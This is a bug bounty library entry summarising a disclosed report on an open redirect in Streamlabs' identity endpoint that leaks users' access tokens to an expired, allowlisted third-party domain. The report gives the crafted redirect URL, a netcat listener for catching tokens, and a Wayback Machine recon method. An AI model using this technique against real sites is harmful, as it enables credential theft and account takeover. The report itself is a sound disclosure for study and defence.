# Steal any users `access_token` via open redirect in https://streamlabs.com/global/identity?popup=1&r=

Open redirect in Streamlabs identity endpoint leaks access_token to an unclaimed third-party domain, enabling account takeover via API.

- Payout: hidden
- Severity: medium
- Program: Logitech
- Found by: sudi
- Disclosed: 2021-11-04
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1327742
- Library page: https://bugbountylibrary.com/r/h1%3A1327742
- Tags: area:web domain:web impact:ato impact:data-leak kind:bounty platform:hackerone sev:medium tech:rest technique:legacy-endpoint technique:recon vuln:account-takeover vuln:open-redirect

**Target:** streamlabs.com/global/identity redirect parameter (r)
**Root cause:** The redirect allowlist accepts third-party domains (dragynslair.live, darthvapes.tv, nixxiom.tv) that are not owned by Streamlabs, and the access_token is appended as a query parameter to the redirect target.
**Steps:**
1. Enumerate historical r= values from Wayback Machine for streamlabs.com/global/identity
2. Visit each candidate domain to see which still receive the access_token
3. Identify dragynslair.live as allowlisted and unregistered
4. Add `127.0.0.1 dragynslair.live` to /etc/hosts and run `sudo nc -lvk 80`
5. As an authenticated user visit `https://streamlabs.com/global/identity?popup=1&r=http://dragynslair.live`
6. Observe access_token in the ncat output query string
**How found:** Read disclosed report #1178239, tried bypasses but found allowlist restricted to streamlabs.com/merch.streamlabs.com; pivoted to Wayback Machine to harvest historical r= values, then tested each domain to find which were still allowlisted and unregistered.
**Exploitation:** Attacker registers the expired allowlisted domain dragynslair.live, sends the crafted identity URL to an authenticated victim; the redirect sends the victim's access_token to the attacker's server, which is then replayed against Streamlabs API endpoints for account takeover.
**Insight:** When a redirect allowlist blocks new domains, mine Wayback Machine archives of the endpoint for historical r= values — old allowlisted third-party domains often remain trusted and may have expired, making them registrable for takeover.